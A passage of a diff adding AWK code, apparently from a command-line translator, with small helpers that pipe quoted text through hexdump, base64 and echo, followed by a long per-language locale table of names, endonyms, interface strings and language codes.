+function dump(text, group,    command, temp) {
+command = "hexdump" " -v -e'1/1 \"%03u\" \" \"'"
+("echo " parameterize(text) PIPE command) | getline temp
+split(temp, group, " ")
+return length(group) - 1
+}
+function base64(text,    command, temp) {
+command = "base64"
+("echo -n " parameterize(text) PIPE command) | getline temp
+return temp
+}
+function uprintf(text,    command, temp) {
+command = "echo -en " parameterize(text)
+("bash -c " parameterize(command, "\"")) | getline temp
+return temp
+}
+function initLocale(    i) {
+Locale["af"]["name"]               = "Afrikaans"
+Locale["af"]["endonym"]            = "Afrikaans"
+Locale["af"]["translations-of"]    = "Vertalings van %s"
+Locale["af"]["definitions-of"]     = "Definisies van %s"
+Locale["af"]["synonyms"]           = "Sinonieme"
+Locale["af"]["examples"]           = "Voorbeelde"
+Locale["af"]["see-also"]           = "Sien ook"
+Locale["af"]["family"]             = "Indo-European"
+Locale["af"]["iso"]                = "afr"
+Locale["af"]["glotto"]             = "afri1274"
+Locale["af"]["script"]             = "Latn"
+Locale["sq"]["name"]               = "Albanian"
+Locale["sq"]["endonym"]            = "Shqip"
+Locale["sq"]["translations-of"]    = "Përkthimet e %s"
+Locale["sq"]["definitions-of"]     = "Përkufizime të %s"
+Locale["sq"]["synonyms"]           = "Sinonime"
+Locale["sq"]["examples"]           = "Shembuj"
+Locale["sq"]["see-also"]           = "Shihni gjithashtu"
+Locale["sq"]["family"]             = "Indo-European"
+Locale["sq"]["iso"]                = "sqi"
+Locale["sq"]["glotto"]             = "alba1267"
+Locale["sq"]["script"]             = "Latn"
+Locale["am"]["name"]               = "Amharic"
+Locale["am"]["endonym"]            = "አማርኛ"
+Locale["am"]["translations-of"]    = "የ %s ትርጉሞች"
+Locale["am"]["definitions-of"]     = "የ %s ቃላት ፍችዎች"
+Locale["am"]["synonyms"]           = "ተመሳሳይ ቃላት"
+Locale["am"]["examples"]           = "ምሳሌዎች"
+Locale["am"]["see-also"]           = "የሚከተለውንም ይመልከቱ"
+Locale["am"]["family"]             = "Afro-Asiatic"
+Locale["am"]["iso"]                = "amh"
+Locale["am"]["glotto"]             = "amha1245"
+Locale["am"]["script"]             = "Ethi"
+Locale["ar"]["name"]               = "Arabic"
+Locale["ar"]["endonym"]            = "العربية"
+Locale["ar"]["translations-of"]    = "ترجمات %s"
+Locale["ar"]["definitions-of"]     = "تعريفات %s"
+Locale["ar"]["synonyms"]           = "مرادفات"
+Locale["ar"]["examples"]           = "أمثلة"
+Locale["ar"]["see-also"]           = "انظر أيضًا"
+Locale["ar"]["family"]             = "Afro-Asiatic"
+Locale["ar"]["iso"]                = "ara"
+Locale["ar"]["glotto"]             = "stan1318"
+Locale["ar"]["script"]             = "Arab"
+Locale["ar"]["rtl"]                = "true"
+Locale["hy"]["name"]               = "Armenian"
+Locale["hy"]["endonym"]            = "Հայերեն"
+Locale["hy"]["translations-of"]    = "%s-ի թարգմանությունները"
+Locale["hy"]["definitions-of"]     = "%s-ի սահմանումները"
+Locale["hy"]["synonyms"]           = "Հոմանիշներ"
+Locale["hy"]["examples"]           = "Օրինակներ"
+Locale["hy"]["see-also"]           = "Տես նաև"
+Locale["hy"]["family"]             = "Indo-European"
+Locale["hy"]["iso"]                = "hye"
+Locale["hy"]["glotto"]             = "nucl1235"
+Locale["hy"]["script"]             = "Armn"
+Locale["az"]["name"]               = "Azerbaijani"
+Locale["az"]["endonym"]            = "Azərbaycanca"
+Locale["az"]["translations-of"]    = "%s sözünün tərcüməsi"
+Locale["az"]["definitions-of"]     = "%s sözünün tərifləri"
+Locale["az"]["synonyms"]           = "Sinonimlər"
+Locale["az"]["examples"]           = "Nümunələr"
+Locale["az"]["see-also"]           = "Həmçinin, baxın:"
+Locale["az"]["family"]             = "Turkic"
+Locale["az"]["iso"]                = "aze"
+Locale["az"]["glotto"]             = "nort2697"
+Locale["az"]["script"]             = "Latn"
+Locale["eu"]["name"]               = "Basque"
+Locale["eu"]["endonym"]            = "Euskara"
+Locale["eu"]["translations-of"]    = "%s esapidearen itzulpena"
+Locale["eu"]["definitions-of"]     = "Honen definizioak: %s"
+Locale["eu"]["synonyms"]           = "Sinonimoak"
+Locale["eu"]["examples"]           = "Adibideak"
+Locale["eu"]["see-also"]           = "Ikusi hauek ere"
+Locale["eu"]["family"]             = "Language Isolate"
+Locale["eu"]["iso"]                = "eus"
+Locale["eu"]["glotto"]             = "basq1248"
+Locale["eu"]["script"]             = "Latn"
+Locale["be"]["name"]               = "Belarusian"
+Locale["be"]["endonym"]            = "беларуская"
+Locale["be"]["translations-of"]    = "Пераклады %s"
+Locale["be"]["definitions-of"]     = "Вызначэннi %s"
+Locale["be"]["synonyms"]           = "Сінонімы"
+Locale["be"]["examples"]           = "Прыклады"
+Locale["be"]["see-also"]           = "Гл. таксама"
+Locale["be"]["family"]             = "Indo-European"
+Locale["be"]["iso"]                = "bel"
+Locale["be"]["glotto"]             = "bela1254"
+Locale["be"]["script"]             = "Cyrl"
+Locale["bn"]["name"]               = "Bengali"
+Locale["bn"]["endonym"]            = "বাংলা"
+Locale["bn"]["translations-of"]    = "%s এর অনুবাদ"
+Locale["bn"]["definitions-of"]     = "%s এর সংজ্ঞা"
+Locale["bn"]["synonyms"]           = "প্রতিশব্দ"
+Locale["bn"]["examples"]           = "উদাহরণ"
+Locale["bn"]["see-also"]           = "আরো দেখুন"
+Locale["bn"]["family"]             = "Indo-European"
+Locale["bn"]["iso"]                = "ben"
+Locale["bn"]["glotto"]             = "beng1280"
+Locale["bn"]["script"]             = "Beng"
+Locale["bs"]["name"]               = "Bosnian"
+Locale["bs"]["endonym"]            = "Bosanski"
+Locale["bs"]["translations-of"]    = "Prijevod za: %s"
+Locale["bs"]["definitions-of"]     = "Definicije za %s"
+Locale["bs"]["synonyms"]           = "Sinonimi"
+Locale["bs"]["examples"]           = "Primjeri"
+Locale["bs"]["see-also"]           = "Pogledajte i"
+Locale["bs"]["family"]             = "Indo-European"
+Locale["bs"]["iso"]                = "bos"
+Locale["bs"]["glotto"]             = "bosn1245"
+Locale["bs"]["script"]             = "Latn"
+Locale["bg"]["name"]               = "Bulgarian"
+Locale["bg"]["endonym"]            = "български"
+Locale["bg"]["translations-of"]    = "Преводи на %s"
+Locale["bg"]["definitions-of"]     = "Дефиниции за %s"
+Locale["bg"]["synonyms"]           = "Синоними"
+Locale["bg"]["examples"]           = "Примери"
+Locale["bg"]["see-also"]           = "Вижте също"
+Locale["bg"]["family"]             = "Indo-European"
+Locale["bg"]["iso"]                = "bul"
+Locale["bg"]["glotto"]             = "bulg1262"
+Locale["bg"]["script"]             = "Cyrl"
+Locale["ca"]["name"]               = "Catalan"
+Locale["ca"]["endonym"]            = "Català"
+Locale["ca"]["translations-of"]    = "Traduccions per a %s"
+Locale["ca"]["definitions-of"]     = "Definicions de: %s"
+Locale["ca"]["synonyms"]           = "Sinònims"
+Locale["ca"]["examples"]           = "Exemples"
+Locale["ca"]["see-also"]           = "Vegeu també"
+Locale["ca"]["family"]             = "Indo-European"
+Locale["ca"]["iso"]                = "cat"
+Locale["ca"]["glotto"]             = "stan1289"
+Locale["ca"]["script"]             = "Latn"
+Locale["ceb"]["name"]              = "Cebuano"
+Locale["ceb"]["endonym"]           = "Cebuano"
+Locale["ceb"]["translations-of"]   = "%s Mga Paghubad sa PULONG_O_HUGPONG SA PAMULONG"
+Locale["ceb"]["definitions-of"]    = "Mga kahulugan sa %s"
+Locale["ceb"]["synonyms"]          = "Mga Kapulong"
+Locale["ceb"]["examples"]          = "Mga pananglitan:"
+Locale["ceb"]["see-also"]          = "Kitaa pag-usab"
+Locale["ceb"]["family"]            = "Austronesian"
+Locale["ceb"]["iso"]               = "ceb"
+Locale["ceb"]["glotto"]            = "cebu1242"
+Locale["ceb"]["script"]            = "Latn"
+Locale["ny"]["name"]               = "Chichewa"
+Locale["ny"]["endonym"]            = "Nyanja"
+Locale["ny"]["translations-of"]    = "Matanthauzidwe a %s"
+Locale["ny"]["definitions-of"]     = "Mamasulidwe a %s"
+Locale["ny"]["synonyms"]           = "Mau ofanana"
+Locale["ny"]["examples"]           = "Zitsanzo"
+Locale["ny"]["see-also"]           = "Onaninso"
+Locale["ny"]["family"]             = "Atlantic-Congo"
+Locale["ny"]["iso"]                = "nya"
+Locale["ny"]["glotto"]             = "nyan1308"
+Locale["ny"]["script"]             = "Latn"
+Locale["zh-CN"]["name"]            = "Chinese Simplified"
+Locale["zh-CN"]["endonym"]         = "简体中文"
+Locale["zh-CN"]["translations-of"] = "%s 的翻译"
+Locale["zh-CN"]["definitions-of"]  = "%s的定义"
+Locale["zh-CN"]["synonyms"]        = "同义词"
+Locale["zh-CN"]["examples"]        = "示例"
+Locale["zh-CN"]["see-also"]        = "另请参阅"
+Locale["zh-CN"]["family"]          = "Sino-Tibetan"
+Locale["zh-CN"]["iso"]             = "zho-CN"
+Locale["zh-CN"]["glotto"]          = "mand1415"
+Locale["zh-CN"]["script"]          = "Hans"
+Locale["zh-CN"]["dictionary"]      = "true"
+Locale["zh-TW"]["name"]            = "Chinese Traditional"
+Locale["zh-TW"]["endonym"]         = "正體中文"
+Locale["zh-TW"]["translations-of"] = "「%s」的翻譯"
+Locale["zh-TW"]["definitions-of"]  = "「%s」的定義"
+Locale["zh-TW"]["synonyms"]        = "同義詞"
+Locale["zh-TW"]["examples"]        = "例句"
+Locale["zh-TW"]["see-also"]        = "另請參閱"
+Locale["zh-TW"]["family"]          = "Sino-Tibetan"
+Locale["zh-TW"]["iso"]             = "zho-TW"
+Locale["zh-TW"]["glotto"]          = "mand1415"
+Locale["zh-TW"]["script"]          = "Hant"
+Locale["zh-TW"]["dictionary"]      = "true"
+Locale["co"]["name"]               = "Corsican"
+Locale["co"]["endonym"]            = "Corsu"
+Locale["co"]["translations-of"]    = "Traductions de %s"
+Locale["co"]["definitions-of"]     = "Définitions de %s"
+Locale["co"]["synonyms"]           = "Synonymes"
+Locale["co"]["examples"]           = "Exemples"
+Locale["co"]["see-also"]           = "Voir aussi"
+Locale["co"]["family"]             = "Indo-European"
+Locale["co"]["iso"]                = "cos"
+Locale["co"]["glotto"]             = "cors1242"
+Locale["co"]["script"]             = "Latn"
+Locale["hr"]["name"]               = "Croatian"
+Locale["hr"]["endonym"]            = "Hrvatski"
+Locale["hr"]["translations-of"]    = "Prijevodi riječi ili izraza %s"
+Locale["hr"]["definitions-of"]     = "Definicije riječi ili izraza %s"
+Locale["hr"]["synonyms"]           = "Sinonimi"
+Locale["hr"]["examples"]           = "Primjeri"
+Locale["hr"]["see-also"]           = "Također pogledajte"
+Locale["hr"]["family"]             = "Indo-European"
+Locale["hr"]["iso"]                = "hrv"
+Locale["hr"]["glotto"]             = "croa1245"
+Locale["hr"]["script"]             = "Latn"
+Locale["cs"]["name"]               = "Czech"
+Locale["cs"]["endonym"]            = "Čeština"
+Locale["cs"]["translations-of"]    = "Překlad výrazu %s"
+Locale["cs"]["definitions-of"]     = "Definice výrazu %s"
+Locale["cs"]["synonyms"]           = "Synonyma"
+Locale["cs"]["examples"]           = "Příklady"
+Locale["cs"]["see-also"]           = "Viz také"
+Locale["cs"]["family"]             = "Indo-European"
+Locale["cs"]["iso"]                = "ces"
+Locale["cs"]["glotto"]             = "czec1258"
+Locale["cs"]["script"]             = "Latn"
+Locale["da"]["name"]               = "Danish"
+Locale["da"]["endonym"]            = "Dansk"
+Locale["da"]["translations-of"]    = "Oversættelser af %s"
+Locale["da"]["definitions-of"]     = "Definitioner af %s"
+Locale["da"]["synonyms"]           = "Synonymer"
+Locale["da"]["examples"]           = "Eksempler"
+Locale["da"]["see-also"]           = "Se også"
+Locale["da"]["family"]             = "Indo-European"
+Locale["da"]["iso"]                = "dan"
+Locale["da"]["glotto"]             = "dani1285"
+Locale["da"]["script"]             = "Latn"
+Locale["nl"]["name"]               = "Dutch"
+Locale["nl"]["endonym"]            = "Nederlands"
+Locale["nl"]["translations-of"]    = "Vertalingen van %s"
+Locale["nl"]["definitions-of"]     = "Definities van %s"
+Locale["nl"]["synonyms"]           = "Synoniemen"
+Locale["nl"]["examples"]           = "Voorbeelden"
+Locale["nl"]["see-also"]           = "Zie ook"
+Locale["nl"]["family"]             = "Indo-European"
+Locale["nl"]["iso"]                = "nld"
+Locale["nl"]["glotto"]             = "dutc1256"
+Locale["nl"]["script"]             = "Latn"
+Locale["nl"]["dictionary"]         = "true"
+Locale["en"]["name"]               = "English"
+Locale["en"]["endonym"]            = "English"
+Locale["en"]["translations-of"]    = "Translations of %s"
+Locale["en"]["definitions-of"]     = "Definitions of %s"
+Locale["en"]["synonyms"]           = "Synonyms"
+Locale["en"]["examples"]           = "Examples"
+Locale["en"]["see-also"]           = "See also"
+Locale["en"]["family"]             = "Indo-European"
+Locale["en"]["iso"]                = "eng"
+Locale["en"]["glotto"]             = "stan1293"
+Locale["en"]["script"]             = "Latn"
+Locale["en"]["dictionary"]         = "true"
+Locale["eo"]["name"]               = "Esperanto"
+Locale["eo"]["endonym"]            = "Esperanto"
+Locale["eo"]["translations-of"]    = "Tradukoj de %s"
+Locale["eo"]["definitions-of"]     = "Difinoj de %s"
+Locale["eo"]["synonyms"]           = "Sinonimoj"
+Locale["eo"]["examples"]           = "Ekzemploj"
+Locale["eo"]["see-also"]           = "Vidu ankaŭ"
+Locale["eo"]["family"]             = "Artificial Language"
+Locale["eo"]["iso"]                = "epo"
+Locale["eo"]["glotto"]             = "espe1235"
+Locale["eo"]["script"]             = "Latn"
+Locale["et"]["name"]               = "Estonian"
+Locale["et"]["endonym"]            = "Eesti"
+Locale["et"]["translations-of"]    = "Sõna(de) %s tõlked"
+Locale["et"]["definitions-of"]     = "Sõna(de) %s definitsioonid"
+Locale["et"]["synonyms"]           = "Sünonüümid"
+Locale["et"]["examples"]           = "Näited"
+Locale["et"]["see-also"]           = "Vt ka"
+Locale["et"]["family"]             = "Uralic"
+Locale["et"]["iso"]                = "est"
+Locale["et"]["glotto"]             = "esto1258"
+Locale["et"]["script"]             = "Latn"
+Locale["tl"]["name"]               = "Filipino"
+Locale["tl"]["endonym"]            = "Tagalog"
+Locale["tl"]["translations-of"]    = "Mga pagsasalin ng %s"
+Locale["tl"]["definitions-of"]     = "Mga kahulugan ng %s"
+Locale["tl"]["synonyms"]           = "Mga Kasingkahulugan"
+Locale["tl"]["examples"]           = "Mga Halimbawa"
+Locale["tl"]["see-also"]           = "Tingnan rin ang"
+Locale["tl"]["family"]             = "Austronesian"
+Locale["tl"]["iso"]                = "tgl"
+Locale["tl"]["glotto"]             = "taga1270"
+Locale["tl"]["script"]             = "Latn"
+Locale["fi"]["name"]               = "Finnish"
+Locale["fi"]["endonym"]            = "Suomi"
+Locale["fi"]["translations-of"]    = "Käännökset tekstille %s"
+Locale["fi"]["definitions-of"]     = "Määritelmät kohteelle %s"
+Locale["fi"]["synonyms"]           = "Synonyymit"
+Locale["fi"]["examples"]           = "Esimerkkejä"
+Locale["fi"]["see-also"]           = "Katso myös"
+Locale["fi"]["family"]             = "Uralic"
+Locale["fi"]["iso"]                = "fin"
+Locale["fi"]["glotto"]             = "finn1318"
+Locale["fi"]["script"]             = "Latn"
+Locale["fr"]["name"]               = "French"
+Locale["fr"]["endonym"]            = "Français"
+Locale["fr"]["translations-of"]    = "Traductions de %s"
+Locale["fr"]["definitions-of"]     = "Définitions de %s"
+Locale["fr"]["synonyms"]           = "Synonymes"
+Locale["fr"]["examples"]           = "Exemples"
+Locale["fr"]["see-also"]           = "Voir aussi"
+Locale["fr"]["family"]             = "Indo-European"
+Locale["fr"]["iso"]                = "fra"
+Locale["fr"]["glotto"]             = "stan1290"
+Locale["fr"]["script"]             = "Latn"
+Locale["fr"]["dictionary"]         = "true"
+Locale["gl"]["name"]               = "Galician"
+Locale["gl"]["endonym"]            = "Galego"
+Locale["gl"]["translations-of"]    = "Traducións de %s"
+Locale["gl"]["definitions-of"]     = "Definicións de %s"
+Locale["gl"]["synonyms"]           = "Sinónimos"
+Locale["gl"]["examples"]           = "Exemplos"
+Locale["gl"]["see-also"]           = "Ver tamén"
+Locale["gl"]["family"]             = "Indo-European"
+Locale["gl"]["iso"]                = "glg"
+Locale["gl"]["glotto"]             = "gali1258"
+Locale["gl"]["script"]             = "Latn"
+Locale["ka"]["name"]               = "Georgian"
+Locale["ka"]["endonym"]            = "ქართული"
+Locale["ka"]["translations-of"]    = "%s-ის თარგმანები"
+Locale["ka"]["definitions-of"]     = "%s-ის განსაზღვრებები"
+Locale["ka"]["synonyms"]           = "სინონიმები"
+Locale["ka"]["examples"]           = "მაგალითები"
+Locale["ka"]["see-also"]           = "ასევე იხილეთ"
+Locale["ka"]["family"]             = "Kartvelian"
+Locale["ka"]["iso"]                = "kat"
+Locale["ka"]["glotto"]             = "nucl1302"
+Locale["ka"]["script"]             = "Geor"
+Locale["de"]["name"]               = "German"
+Locale["de"]["endonym"]            = "Deutsch"
+Locale["de"]["translations-of"]    = "Übersetzungen für %s"
+Locale["de"]["definitions-of"]     = "Definitionen von %s"
+Locale["de"]["synonyms"]           = "Synonyme"
+Locale["de"]["examples"]           = "Beispiele"
+Locale["de"]["see-also"]           = "Siehe auch"
+Locale["de"]["family"]             = "Indo-European"
+Locale["de"]["iso"]                = "deu"
+Locale["de"]["glotto"]             = "stan1295"
+Locale["de"]["script"]             = "Latn"
+Locale["de"]["dictionary"]         = "true"
+Locale["el"]["name"]               = "Greek"
+Locale["el"]["endonym"]            = "Ελληνικά"
+Locale["el"]["translations-of"]    = "Μεταφράσεις του %s"
+Locale["el"]["definitions-of"]     = "Όρισμοί %s"
+Locale["el"]["synonyms"]           = "Συνώνυμα"
+Locale["el"]["examples"]           = "Παραδείγματα"
+Locale["el"]["see-also"]           = "Δείτε επίσης"
+Locale["el"]["family"]             = "Indo-European"
+Locale["el"]["iso"]                = "ell"
+Locale["el"]["glotto"]             = "mode1248"
+Locale["el"]["script"]             = "Grek"
+Locale["gu"]["name"]               = "Gujarati"
+Locale["gu"]["endonym"]            = "ગુજરાતી"
+Locale["gu"]["translations-of"]    = "%s ના અનુવાદ"
+Locale["gu"]["definitions-of"]     = "%s ની વ્યાખ્યાઓ"
+Locale["gu"]["synonyms"]           = "સમાનાર્થી"
+Locale["gu"]["examples"]           = "ઉદાહરણો"
+Locale["gu"]["see-also"]           = "આ પણ જુઓ"
+Locale["gu"]["family"]             = "Indo-European"
+Locale["gu"]["iso"]                = "guj"
+Locale["gu"]["glotto"]             = "guja1252"
+Locale["gu"]["script"]             = "Gujr"
+Locale["ht"]["name"]               = "Haitian Creole"
+Locale["ht"]["endonym"]            = "Kreyòl Ayisyen"
+Locale["ht"]["translations-of"]    = "Tradiksyon %s"
+Locale["ht"]["definitions-of"]     = "Definisyon nan %s"
+Locale["ht"]["synonyms"]           = "Sinonim"
+Locale["ht"]["examples"]           = "Egzanp:"
+Locale["ht"]["see-also"]           = "Wè tou"
+Locale["ht"]["family"]             = "Indo-European"
+Locale["ht"]["iso"]                = "hat"
+Locale["ht"]["glotto"]             = "hait1244"
+Locale["ht"]["script"]             = "Latn"
+Locale["haw"]["name"]              = "Hawaiian"
+Locale["haw"]["endonym"]           = "ʻŌlelo Hawaiʻi"
+Locale["haw"]["family"]            = "Austronesian"
+Locale["haw"]["iso"]               = "haw"
+Locale["haw"]["glotto"]            = "hawa1245"
+Locale["haw"]["script"]            = "Latn"
+Locale["ha"]["name"]               = "Hausa"
+Locale["ha"]["endonym"]            = "Hausa"
+Locale["ha"]["translations-of"]    = "Fassarar %s"
+Locale["ha"]["definitions-of"]     = "Ma'anoni na %s"
+Locale["ha"]["synonyms"]           = "Masu kamancin ma'ana"
+Locale["ha"]["examples"]           = "Misalai"
+Locale["ha"]["see-also"]           = "Duba kuma"
+Locale["ha"]["family"]             = "Afro-Asiatic"
+Locale["ha"]["iso"]                = "hau"
+Locale["ha"]["glotto"]             = "haus1257"
+Locale["ha"]["script"]             = "Latn"
+Locale["he"]["name"]               = "Hebrew"
+Locale["he"]["endonym"]            = "עִבְרִית"
+Locale["he"]["translations-of"]    = "תרגומים של %s"
+Locale["he"]["definitions-of"]     = "הגדרות של %s"
+Locale["he"]["synonyms"]           = "מילים נרדפות"
+Locale["he"]["examples"]           = "דוגמאות"
+Locale["he"]["see-also"]           = "ראה גם"
+Locale["he"]["family"]             = "Afro-Asiatic"
+Locale["he"]["iso"]                = "heb"
+Locale["he"]["glotto"]             = "hebr1245"
+Locale["he"]["script"]             = "Hebr"
+Locale["he"]["rtl"]                = "true"
+Locale["hi"]["name"]               = "Hindi"
+Locale["hi"]["endonym"]            = "हिन्दी"
+Locale["hi"]["translations-of"]    = "%s के अनुवाद"
+Locale["hi"]["definitions-of"]     = "%s की परिभाषाएं"
+Locale["hi"]["synonyms"]           = "समानार्थी"
+Locale["hi"]["examples"]           = "उदाहरण"
+Locale["hi"]["see-also"]           = "यह भी देखें"
+Locale["hi"]["family"]             = "Indo-European"
+Locale["hi"]["iso"]                = "hin"
+Locale["hi"]["glotto"]             = "hind1269"
+Locale["hi"]["script"]             = "Deva"
+Locale["hmn"]["name"]              = "Hmong"
+Locale["hmn"]["endonym"]           = "Hmoob"
+Locale["hmn"]["translations-of"]   = "Lus txhais: %s"
+Locale["hmn"]["family"]            = "Hmong-Mien"
+Locale["hmn"]["iso"]               = "hmn"
+Locale["hmn"]["glotto"]            = "firs1234"
+Locale["hmn"]["script"]            = "Latn"
+Locale["hu"]["name"]               = "Hungarian"
+Locale["hu"]["endonym"]            = "Magyar"
+Locale["hu"]["translations-of"]    = "%s fordításai"
+Locale["hu"]["definitions-of"]     = "%s jelentései"
+Locale["hu"]["synonyms"]           = "Szinonimák"
+Locale["hu"]["examples"]           = "Példák"
+Locale["hu"]["see-also"]           = "Lásd még"
+Locale["hu"]["family"]             = "Uralic"
+Locale["hu"]["iso"]                = "hun"
+Locale["hu"]["glotto"]             = "hung1274"
+Locale["hu"]["script"]             = "Latn"
+Locale["is"]["name"]               = "Icelandic"
+Locale["is"]["endonym"]            = "Íslenska"
+Locale["is"]["translations-of"]    = "Þýðingar á %s"
+Locale["is"]["definitions-of"]     = "Skilgreiningar á"
+Locale["is"]["synonyms"]           = "Samheiti"
+Locale["is"]["examples"]           = "Dæmi"
+Locale["is"]["see-also"]           = "Sjá einnig"
+Locale["is"]["family"]             = "Indo-European"
+Locale["is"]["iso"]                = "isl"
+Locale["is"]["glotto"]             = "icel1247"
+Locale["is"]["script"]             = "Latn"
+Locale["ig"]["name"]               = "Igbo"
+Locale["ig"]["endonym"]            = "Igbo"
+Locale["ig"]["translations-of"]    = "Ntụgharị asụsụ nke %s"
+Locale["ig"]["definitions-of"]     = "Nkọwapụta nke %s"
+Locale["ig"]["synonyms"]           = "Okwu oyiri"
+Locale["ig"]["examples"]           = "Ọmụmaatụ"
+Locale["ig"]["see-also"]           = "Hụkwuo"
+Locale["ig"]["family"]             = "Atlantic-Congo"
+Locale["ig"]["iso"]                = "ibo"
+Locale["ig"]["glotto"]             = "nucl1417"
+Locale["ig"]["script"]             = "Latn"
+Locale["id"]["name"]               = "Indonesian"
+Locale["id"]["endonym"]            = "Bahasa Indonesia"
+Locale["id"]["translations-of"]    = "Terjemahan dari %s"
+Locale["id"]["definitions-of"]     = "Definisi %s"
+Locale["id"]["synonyms"]           = "Sinonim"
+Locale["id"]["examples"]           = "Contoh"
+Locale["id"]["see-also"]           = "Lihat juga"
+Locale["id"]["family"]             = "Austronesian"
+Locale["id"]["iso"]                = "ind"
+Locale["id"]["glotto"]             = "indo1316"
+Locale["id"]["script"]             = "Latn"
+Locale["ga"]["name"]               = "Irish"
+Locale["ga"]["endonym"]            = "Gaeilge"
+Locale["ga"]["translations-of"]    = "Aistriúcháin ar %s"
+Locale["ga"]["definitions-of"]     = "Sainmhínithe ar %s"
+Locale["ga"]["synonyms"]           = "Comhchiallaigh"
+Locale["ga"]["examples"]           = "Samplaí"
+Locale["ga"]["see-also"]           = "féach freisin"
+Locale["ga"]["family"]             = "Indo-European"
+Locale["ga"]["iso"]                = "gle"
+Locale["ga"]["glotto"]             = "iris1253"
+Locale["ga"]["script"]             = "Latn"
+Locale["it"]["name"]               = "Italian"
+Locale["it"]["endonym"]            = "Italiano"
+Locale["it"]["translations-of"]    = "Traduzioni di %s"
+Locale["it"]["definitions-of"]     = "Definizioni di %s"
+Locale["it"]["synonyms"]           = "Sinonimi"
+Locale["it"]["examples"]           = "Esempi"
+Locale["it"]["see-also"]           = "Vedi anche"
+Locale["it"]["family"]             = "Indo-European"
+Locale["it"]["iso"]                = "ita"
+Locale["it"]["glotto"]             = "ital1282"
+Locale["it"]["script"]             = "Latn"
+Locale["it"]["dictionary"]         = "true"
+Locale["ja"]["name"]               = "Japanese"
+Locale["ja"]["endonym"]            = "日本語"
+Locale["ja"]["translations-of"]    = "「%s」の翻訳"
+Locale["ja"]["definitions-of"]     = "%s の定義"
+Locale["ja"]["synonyms"]           = "同義語"
+Locale["ja"]["examples"]           = "例"
+Locale["ja"]["see-also"]           = "関連項目"
+Locale["ja"]["family"]             = "Japonic"
+Locale["ja"]["iso"]                = "jpn"
+Locale["ja"]["glotto"]             = "nucl1643"
+Locale["ja"]["script"]             = "Jpan"
+Locale["ja"]["dictionary"]         = "true"
+Locale["jv"]["name"]               = "Javanese"
+Locale["jv"]["endonym"]            = "Basa Jawa"
+Locale["jv"]["translations-of"]    = "Terjemahan %s"
+Locale["jv"]["definitions-of"]     = "Arti %s"
+Locale["jv"]["synonyms"]           = "Sinonim"
+Locale["jv"]["examples"]           = "Conto"
+Locale["jv"]["see-also"]           = "Deleng uga"
+Locale["jv"]["family"]             = "Austronesian"
+Locale["jv"]["iso"]                = "jav"
+Locale["jv"]["glotto"]             = "java1254"
+Locale["jv"]["script"]             = "Latn"
+Locale["kn"]["name"]               = "Kannada"
+Locale["kn"]["endonym"]            = "ಕನ್ನಡ"
+Locale["kn"]["translations-of"]    = "%s ನ ಅನುವಾದಗಳು"
+Locale["kn"]["definitions-of"]     = "%s ನ ವ್ಯಾಖ್ಯಾನಗಳು"
+Locale["kn"]["synonyms"]           = "ಸಮಾನಾರ್ಥಕಗಳು"
+Locale["kn"]["examples"]           = "ಉದಾಹರಣೆಗಳು"
+Locale["kn"]["see-also"]           = "ಇದನ್ನೂ ಗಮನಿಸಿ"
+Locale["kn"]["family"]             = "Dravidian"
+Locale["kn"]["iso"]                = "kan"
+Locale["kn"]["glotto"]             = "nucl1305"
+Locale["kn"]["script"]             = "Knda"
+Locale["kk"]["name"]               = "Kazakh"
+Locale["kk"]["endonym"]            = "Қазақ тілі"
+Locale["kk"]["translations-of"]    = "%s аудармалары"
+Locale["kk"]["definitions-of"]     = "%s анықтамалары"
+Locale["kk"]["synonyms"]           = "Синонимдер"
+Locale["kk"]["examples"]           = "Мысалдар"
+Locale["kk"]["see-also"]           = "Келесі тізімді де көріңіз:"
+Locale["kk"]["family"]             = "Turkic"
+Locale["kk"]["iso"]                = "kaz"
+Locale["kk"]["glotto"]             = "kaza1248"
+Locale["kk"]["script"]             = "Cyrl"
+Locale["km"]["name"]               = "Khmer"
+Locale["km"]["endonym"]            = "ភាសាខ្មែរ"
+Locale["km"]["translations-of"]    = "ការ​បក​ប្រែ​នៃ %s"
+Locale["km"]["definitions-of"]     = "និយមន័យ​នៃ​ %s"
+Locale["km"]["synonyms"]           = "សទិសន័យ"
+Locale["km"]["examples"]           = "ឧទាហរណ៍"
+Locale["km"]["see-also"]           = "មើល​ផង​ដែរ"
+Locale["km"]["family"]             = "Austroasiatic"
+Locale["km"]["iso"]                = "khm"
+Locale["km"]["glotto"]             = "cent1989"
+Locale["km"]["script"]             = "Khmr"
+Locale["ko"]["name"]               = "Korean"
+Locale["ko"]["endonym"]            = "한국어"
+Locale["ko"]["translations-of"]    = "%s의 번역"
+Locale["ko"]["definitions-of"]     = "%s의 정의"
+Locale["ko"]["synonyms"]           = "동의어"
+Locale["ko"]["examples"]           = "예문"
+Locale["ko"]["see-also"]           = "참조"
+Locale["ko"]["family"]             = "Koreanic"
+Locale["ko"]["iso"]                = "kor"
+Locale["ko"]["glotto"]             = "kore1280"
+Locale["ko"]["script"]             = "Kore"
+Locale["ko"]["dictionary"]         = "true"
+Locale["ku"]["name"]               = "Kurdish"
+Locale["ku"]["endonym"]            = "Kurdî"
+Locale["ku"]["family"]             = "Indo-European"
+Locale["ku"]["iso"]                = "kur"
+Locale["ku"]["glotto"]             = "kurd1259"
+Locale["ku"]["script"]             = "Latn"
+Locale["ky"]["name"]               = "Kyrgyz"
+Locale["ky"]["endonym"]            = "Кыргызча"
+Locale["ky"]["translations-of"]    = "%s котормосу"
+Locale["ky"]["definitions-of"]     = "%s аныктамасы"
+Locale["ky"]["synonyms"]           = "Синонимдер"
+Locale["ky"]["examples"]           = "Мисалдар"
+Locale["ky"]["see-also"]           = "Дагы караңыз"
+Locale["ky"]["family"]             = "Turkic"
+Locale["ky"]["iso"]                = "kir"
+Locale["ky"]["glotto"]             = "kirg1245"
+Locale["ky"]["script"]             = "Cyrl"
+Locale["lo"]["name"]               = "Lao"
+Locale["lo"]["endonym"]            = "ລາວ"
+Locale["lo"]["translations-of"]    = "ຄຳ​ແປ​ສຳລັບ %s"
+Locale["lo"]["definitions-of"]     = "ຄວາມໝາຍຂອງ %s"
+Locale["lo"]["synonyms"]           = "ຄຳທີ່ຄ້າຍກັນ %s"
+Locale["lo"]["examples"]           = "ຕົວຢ່າງ"
+Locale["lo"]["see-also"]           = "ເບິ່ງ​ເພີ່ມ​ເຕີມ"
+Locale["lo"]["family"]             = "Tai-Kadai"
+Locale["lo"]["iso"]                = "lao"
+Locale["lo"]["glotto"]             = "laoo1244"
+Locale["lo"]["script"]             = "Laoo"
+Locale["la"]["name"]               = "Latin"
